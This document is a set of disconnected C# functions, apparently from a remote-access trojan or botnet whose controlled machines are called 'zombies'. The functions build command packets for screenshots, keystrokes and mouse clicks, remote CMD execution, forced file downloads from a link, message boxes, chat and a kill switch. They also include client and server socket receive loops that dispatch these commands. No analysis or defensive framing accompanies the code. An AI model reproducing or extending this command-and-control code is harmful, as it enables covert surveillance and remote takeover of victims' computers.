public static byte[] Take(string identifier) { byte[] img; int screenWidth = (int)(Screen.PrimaryScreen.Bounds.Width * MonitorInfo.CurrentScaling); int screenHeight = (int)(Screen.PrimaryScreen.Bounds.Height * MonitorInfo.CurrentScaling); var bmpScreenshot = new Bitmap(screenWidth, screenHeight, PixelFormat.Format32bppArgb); var gfxScreenshot = Graphics.FromImage(bmpScreenshot); gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, new Size(screenWidth, screenHeight), CopyPixelOperation.SourceCopy); using (MemoryStream ms = new MemoryStream()) { bmpScreenshot.Save(ms, ImageFormat.Jpeg); img = ms.ToArray(); } return(CommandDataSerializer.Serialize(CommandFlags.Screenshot, (writer) => { writer.Write(identifier); writer.Write(img); })); }
public static byte[] KeyInfo(int key) { return(CommandDataSerializer.Serialize(CommandFlags.KeyboardKey, (writer) => { writer.Write(key); })); }
public static byte[] Command(string command) { return(CommandDataSerializer.Serialize(CommandFlags.RemoteCMD, (writer) => { writer.Write(command); } )); }
public static byte[] Create(string text, string ID) { return(CommandDataSerializer.Serialize(Commands.CommandFlags.ChatMessage, (writer) => { writer.Write(text); writer.Write(ID); })); }
public static byte[] Request(string link, string filename) { return(CommandDataSerializer.Serialize(CommandFlags.ZombieDownloadFileRequest, (writer) => { writer.Write(link); writer.Write(filename); } )); }
private static void ReceiveCallback(IAsyncResult ar) { // TODO: ERROR CONTROL AND OPERATION TIMEOUT. byte[] sizeBuf = (byte[])ar.AsyncState; try { Socket.EndReceive(ar); } catch (SocketException) { Console.WriteLine("Disconnected. Restarting client."); RestartSocket(); return; } int bufSize = BitConverter.ToInt32(sizeBuf, 0); byte[] buffer; MemoryStream ms = new MemoryStream(); while (bufSize > 0) { if (bufSize < Socket.ReceiveBufferSize) { buffer = new byte[bufSize]; } else { buffer = new byte[Socket.ReceiveBufferSize]; } int rec = Socket.Receive(buffer, 0, buffer.Length, 0); bufSize -= rec; ms.Write(buffer, 0, rec); } ms.Close(); byte[] data = ms.ToArray(); ms.Dispose(); if (CommandDataSerializer.Deserialize(data, FunctionManager.Process) == CommandFlags.DataCorrupted) { Client.RestartSocket(); return; } Receive(); }
public static byte[] Create(string text, string caption, int button, int icon) { return(CommandDataSerializer.Serialize(CommandFlags.MessageBox, (writer) => { writer.Write(text); writer.Write(caption); writer.Write(button); writer.Write(icon); })); }
public static byte[] ClickInfo(int x, int maxX, int y, int maxY) { // MousePoint info = GetCursorPosition(); return(CommandDataSerializer.Serialize(CommandFlags.Click, (writer) => { writer.Write(x); writer.Write(maxX); writer.Write(y); writer.Write(maxY); })); }
private static void ReceiveCallback(IAsyncResult ar) { StateObject state = (StateObject)ar.AsyncState; try { state.Zombie.Socket.EndReceive(ar); } catch (SocketException) { Console.WriteLine("Zombie disconnected. Cleaning up."); state.Zombie.Destroy(); return; } int bufSize = BitConverter.ToInt32(state.Buffer, 0); byte[] buffer; MemoryStream ms = new MemoryStream(); while (bufSize > 0) { if (bufSize < state.Zombie.Socket.ReceiveBufferSize) { buffer = new byte[bufSize]; } else { buffer = new byte[state.Zombie.Socket.ReceiveBufferSize]; } int rec = state.Zombie.Socket.Receive(buffer, 0, buffer.Length, 0); bufSize -= rec; ms.Write(buffer, 0, rec); } ms.Close(); byte[] data = ms.ToArray(); ms.Dispose(); if (CommandDataSerializer.Deserialize(data, FunctionManager.Process) == CommandFlags.DataCorrupted) { state.Zombie.Destroy(); return; } Receive(state.Zombie); }
public static byte[] Request() { return(CommandDataSerializer.Serialize(CommandFlags.Kill)); }
public static byte[] Generate(string commandOutput) { return(CommandDataSerializer.Serialize(CommandFlags.GenericCommandOutput, (writer) => { writer.Write(commandOutput); })); }
public static byte[] CloseRequest() { return(CommandDataSerializer.Serialize(CommandFlags.CloseChat)); }
public static byte[] Request(string identifier) { return(CommandDataSerializer.Serialize(CommandFlags.Screenshot, (writer) => { writer.Write(identifier); })); }